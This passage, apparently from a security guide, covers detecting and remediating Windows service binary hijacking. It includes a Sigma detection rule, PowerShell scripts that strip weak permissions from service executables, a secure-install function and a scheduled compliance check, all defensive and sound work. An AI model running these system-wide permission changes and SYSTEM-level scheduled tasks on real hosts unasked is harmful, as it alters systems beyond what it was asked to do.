[process where event.type == "start" and
process.parent.name == "services.exe" and
process.executable : file.path]Sigma Rule
title: Service Binary Hijacking Detection
id: a5c1de3c-f8d3-4e6b-9c7e-2a1f3b4c5d6e
status: experimental
description: Detects potential service binary hijacking through file modifications followed by service execution
references:
- https://attack.mitre.org/techniques/T1574/010/
tags:
- attack.privilege_escalation
- attack.persistence
- attack.t1574.010
logsource:
product: windows
service: security
detection:
selection_modification:
EventID: 4663
ObjectType: 'File'
AccessMask: '0x2' # Write access
selection_path:
ObjectName|contains:
- '\service.exe'
- '\svchost.exe'
- '.exe'
filter:
ObjectName|startswith: 'C:\Windows\'
condition: selection_modification and selection_path and not filter
falsepositives:
- Legitimate software updates
- Administrative maintenance
level: highMitigation and Remediation
Immediate Remediation
Fix vulnerable service binary permissions:
# Automated remediation script
$vulnerableServices = Get-CimInstance -ClassName win32_service | ForEach-Object {
$servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
$acl = Get-Acl $servicePath -ErrorAction SilentlyContinue
if ($acl) {
$weakACL = $acl.Access | Where-Object {
($_.FileSystemRights -match 'Write|Modify|FullControl') -and
($_.AccessControlType -eq 'Allow') -and
($_.IdentityReference -match 'Users|Everyone|Authenticated')
}
if ($weakACL) {
[PSCustomObject]@{
ServiceName = $_.Name
ServicePath = $servicePath
WeakACE = $weakACL
}
}
}
}
}
# Fix permissions for each vulnerable service
foreach ($service in $vulnerableServices) {
Write-Host "Fixing: $($service.ServicePath)" -ForegroundColor Yellow
# Remove weak permissions
icacls $service.ServicePath /remove "Users" /t
icacls $service.ServicePath /remove "Everyone" /t
icacls $service.ServicePath /remove "Authenticated Users" /t
# Set proper permissions
icacls $service.ServicePath /grant:r "SYSTEM:(F)"
icacls $service.ServicePath /grant:r "Administrators:(F)"
icacls $service.ServicePath /grant:r "Users:(RX)"
# Verify fix
$newACL = Get-Acl $service.ServicePath
$stillWeak = $newACL.Access | Where-Object {
($_.FileSystemRights -match 'Write|Modify|FullControl') -and
($_.IdentityReference -match 'Users|Everyone|Authenticated')
}
if ($stillWeak) {
Write-Host "FAILED: Still vulnerable" -ForegroundColor Red
}
else {
Write-Host "SUCCESS: Permissions hardened" -ForegroundColor Green
}
}Bulk Remediation with Logging
# Comprehensive remediation with backup and rollback
$logFile = "C:\Remediation\service_permissions_$(Get-Date -Format 'yyyyMMdd_HHmmss').log"
$backupFile = "C:\Remediation\service_acls_backup_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"
# Backup current ACLs
$backup = Get-CimInstance -ClassName win32_service | ForEach-Object {
$servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
$acl = Get-Acl $servicePath -ErrorAction SilentlyContinue
[PSCustomObject]@{
ServiceName = $_.Name
ServicePath = $servicePath
SDDL = $acl.Sddl
}
}
} | Export-Csv $backupFile -NoTypeInformation
Write-Host "Backup saved: $backupFile" -ForegroundColor Cyan
# Identify and fix vulnerable services
$results = @()
$vulnerable = Get-CimInstance -ClassName win32_service | ForEach-Object {
$servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
$serviceDir = Split-Path $servicePath -Parent
if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
$acl = Get-Acl $servicePath -ErrorAction SilentlyContinue
if ($acl) {
$weakACL = $acl.Access | Where-Object {
($_.FileSystemRights -match 'Write|Modify|FullControl') -and
($_.AccessControlType -eq 'Allow') -and
($_.IdentityReference -match 'Users|Everyone|Authenticated')
}
if ($weakACL) {
try {
# Remove dangerous permissions
$identities = $weakACL | Select-Object -ExpandProperty IdentityReference -Unique
foreach ($identity in $identities) {
& icacls $servicePath /remove $identity 2>&1 | Out-Null
}
# Set secure permissions
& icacls $servicePath /inheritance:r 2>&1 | Out-Null
& icacls $servicePath /grant:r "SYSTEM:(F)" 2>&1 | Out-Null
& icacls $servicePath /grant:r "Administrators:(F)" 2>&1 | Out-Null
& icacls $servicePath /grant:r "Users:(RX)" 2>&1 | Out-Null
# Also fix parent directory if writable
if (Test-Path $serviceDir) {
$dirACL = Get-Acl $serviceDir
$weakDirACL = $dirACL.Access | Where-Object {
($_.FileSystemRights -match 'Write|Modify|FullControl') -and
($_.IdentityReference -match 'Users|Everyone|Authenticated')
}
if ($weakDirACL) {
$dirIdentities = $weakDirACL | Select-Object -ExpandProperty IdentityReference -Unique
foreach ($identity in $dirIdentities) {
& icacls $serviceDir /remove $identity 2>&1 | Out-Null
}
}
}
$results += [PSCustomObject]@{
Timestamp = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'
ServiceName = $_.Name
ServicePath = $servicePath
Status = "SUCCESS"
Message = "Permissions hardened"
}
}
catch {
$results += [PSCustomObject]@{
Timestamp = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'
ServiceName = $_.Name
ServicePath = $servicePath
Status = "FAILED"
Message = $_.Exception.Message
}
}
}
}
}
}
# Export results
$results | Export-Csv $logFile -NoTypeInformation
$results | Format-Table -AutoSize
Write-Host "`nRemediation Summary:" -ForegroundColor Cyan
Write-Host "Total Fixed: $(($results | Where-Object {$_.Status -eq 'SUCCESS'}).Count)" -ForegroundColor Green
Write-Host "Failed: $(($results | Where-Object {$_.Status -eq 'FAILED'}).Count)" -ForegroundColor Red
Write-Host "Log saved: $logFile" -ForegroundColor CyanPreventive Measures
Group Policy Hardening
Implement GPO-based security controls:
# Enable file system auditing via GPO
# Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration
# > Object Access > Audit File System (Success, Failure)
# Restrict service installation to administrators
# Computer Configuration > Policies > Windows Settings > Security Settings > System Services
# Set all non-Windows services to require administrative approval
# Deploy via PowerShell
secedit /configure /db secedit.sdb /cfg secure_services.inf
# secure_services.inf:
# [Service General Setting]
# "CustomService",2,"D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)"Application Installation Standards
Create secure deployment template:
# Secure service deployment function
function Install-SecureWindowsService {
param(
[string]$ServiceName,
[string]$DisplayName,
[string]$ExecutablePath,
[string]$InstallPath = "C:\Program Files\$DisplayName",
[string]$ServiceAccount = "LocalSystem"
)
# Create installation directory with proper permissions
New-Item -Path $InstallPath -ItemType Directory -Force | Out-Null
# Set secure directory permissions
icacls $InstallPath /inheritance:r
icacls $InstallPath /grant:r "SYSTEM:(OI)(CI)(F)"
icacls $InstallPath /grant:r "Administrators:(OI)(CI)(F)"
icacls $InstallPath /grant:r "Users:(OI)(CI)(RX)"
# Copy executable
Copy-Item $ExecutablePath -Destination $InstallPath -Force
# Set secure file permissions
$serviceExe = Join-Path $InstallPath (Split-Path $ExecutablePath -Leaf)
icacls $serviceExe /inheritance:r
icacls $serviceExe /grant:r "SYSTEM:(F)"
icacls $serviceExe /grant:r "Administrators:(F)"
icacls $serviceExe /grant:r "Users:(RX)"
# Create service
New-Service -Name $ServiceName `
-DisplayName $DisplayName `
-BinaryPathName "`"$serviceExe`"" `
-StartupType Automatic `
-Credential $ServiceAccount
Write-Host "Service installed securely: $ServiceName" -ForegroundColor Green
}
# Usage
Install-SecureWindowsService -ServiceName "MyService" `
-DisplayName "My Application Service" `
-ExecutablePath ".\myapp.exe"Continuous Compliance Monitoring
Automated compliance checking:
# Deploy scheduled compliance check
$complianceScript = @'
$vulnerableServices = @()
Get-CimInstance -ClassName win32_service | ForEach-Object {
$servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
$acl = Get-Acl $servicePath -ErrorAction SilentlyContinue
if ($acl) {
$weakACL = $acl.Access | Where-Object {
($_.FileSystemRights -match 'Write|Modify|FullControl') -and
($_.AccessControlType -eq 'Allow') -and
($_.IdentityReference -match 'Users|Everyone|Authenticated')
}
if ($weakACL) {
$vulnerableServices += [PSCustomObject]@{
Computer = $env:COMPUTERNAME
ServiceName = $_.Name
ServicePath = $servicePath
ServiceAccount = $_.StartName
WeakPermission = ($weakACL | ForEach-Object { "$($_.IdentityReference): $($_.FileSystemRights)" }) -join '; '
}
}
}
}
}
if ($vulnerableServices.Count -gt 0) {
$body = $vulnerableServices | ConvertTo-Html -Head "<style>table {border-collapse: collapse;} th, td {border: 1px solid black; padding: 8px;}</style>" | Out-String
Send-MailMessage -SmtpServer "smtp.company.com" `
-From "[email protected]" `
-To "[email protected]" `
-Subject "ALERT: Vulnerable Service Permissions on $env:COMPUTERNAME" `
-Body $body `
-BodyAsHtml
}
'@
# Deploy as scheduled task
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-ExecutionPolicy Bypass -Command `"$complianceScript`""
$trigger = New-ScheduledTaskTrigger -Weekly -DaysOfWeek Monday,Thursday -At 2am
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "ServicePermissionCompliance" `
-Action $action `
-Trigger $trigger `
-Principal $principal `
-Description "Monitors service binary permissions for security compliance"References
MITRE ATT&CK Techniques
- T1574.010 - Hijack Execution Flow: Services File Permissions Weakness - Primary exploitation technique
- T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness - Registry-based service hijacking
- T1574 - Hijack Execution Flow - Parent technique for execution hijacking
- T1543.003 - Create or Modify System Process: Windows Service - Service creation/modification
- T1068 - Exploitation for Privilege Escalation - Privilege escalation context
Common Weakness Enumeration
- CWE-732 - Incorrect Permission Assignment for Critical Resource - Weak service binary permissions
- CWE-269 - Improper Privilege Management - Privilege escalation
- CWE-284 - Improper Access Control - ACL misconfigurations
Microsoft Documentation
- Microsoft: Service Security and Access Rights - Service ACL reference
- Microsoft: Securing Windows Services - Hardening guidance
Security Resources
- CIS Microsoft Windows Server Benchmark - Security benchmarks
- PowerSploit - Get-ModifiableServiceFile - Service enumeration
- WinPEAS - Automated privilege escalation checks
Next Steps
After identifying service binary hijacking vulnerabilities:
- Audit all third-party services for weak permissions
- Implement automated compliance monitoring to detect new vulnerabilities
- Review deployment procedures to ensure secure installation practices
- Document and remediate all identified vulnerabilities
- Explore related privilege escalation techniques:
Takeaway: Service binary hijacking remains a prevalent privilege escalation vector due to poor software deployment practices. The combination of secure installation procedures, regular permission audits, file integrity monitoring, and automated compliance checking provides robust defense against this attack class. Make service security a mandatory component of your application deployment lifecycle and change management processes.
Last updated on
Server Operators Group Exploitation and Defense
Server Operators group exploitation including service manipulation, backup/restore abuse, and scheduled task creation for Windows privilege escalation.
SeTakeOwnershipPrivilege Exploitation
SeTakeOwnershipPrivilege exploitation in Windows — file ownership manipulation, registry takeover, and privilege escalation techniques.